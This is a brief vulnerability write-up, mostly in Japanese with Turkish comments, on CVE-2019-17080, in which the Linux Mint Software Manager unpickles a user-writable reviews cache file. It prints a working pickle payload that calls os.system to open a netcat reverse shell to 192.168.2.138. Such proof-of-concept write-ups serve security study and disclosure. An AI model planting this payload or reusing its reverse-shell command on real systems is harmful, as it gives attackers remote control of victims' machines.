
CVE-2019-17080
Linux Mint ソフトウェアマネージャ (v 7.9.5/9) は、誤った設定により、オブジェクトインジェクションと任意のコード実行を引き起こします。
mintinsall
新しいコメントがある場合、new-reviews.list からダウンロードしてファイルに書き込みます。

code mintinstall.py
ソフトウェアマネージャが最初に起動すると、reviews モジュールから ReviewCache() クラスを呼び出します。

code reviews.py
ReviewCache クラスが開始すると (init)、_load_cache() を呼び出します。

Load cache 関数は、REVIEWS_CACHE 変数内のファイルを読み取り、pickle モジュールを使用してファイル内のデータをアンシリアライズし、いくつかの値をメモリに保持します。

ファイルを確認すると、書き込み権限があるように見えます。

Pickle モジュールを使用してシリアライズ/アンシリアライズ操作を実行できるため、reduce メソッドを使用してモジュールを組み込み、任意のコードを実行できます。

ファイルをアンシリアライズしようとすると、悪意のあるコードが実行されます。
cos
system
(S'nc -e /bin/sh 192.168.2.138 4545'
tR.
>>modül adı c{os}
>> fonksiyon
( >> işaretleyici nesnesi
S >> tırnak sonuna kadar okuyup stack'e at
tR. >> stackte olanları çagır ve sonucu stacke yerleştir.

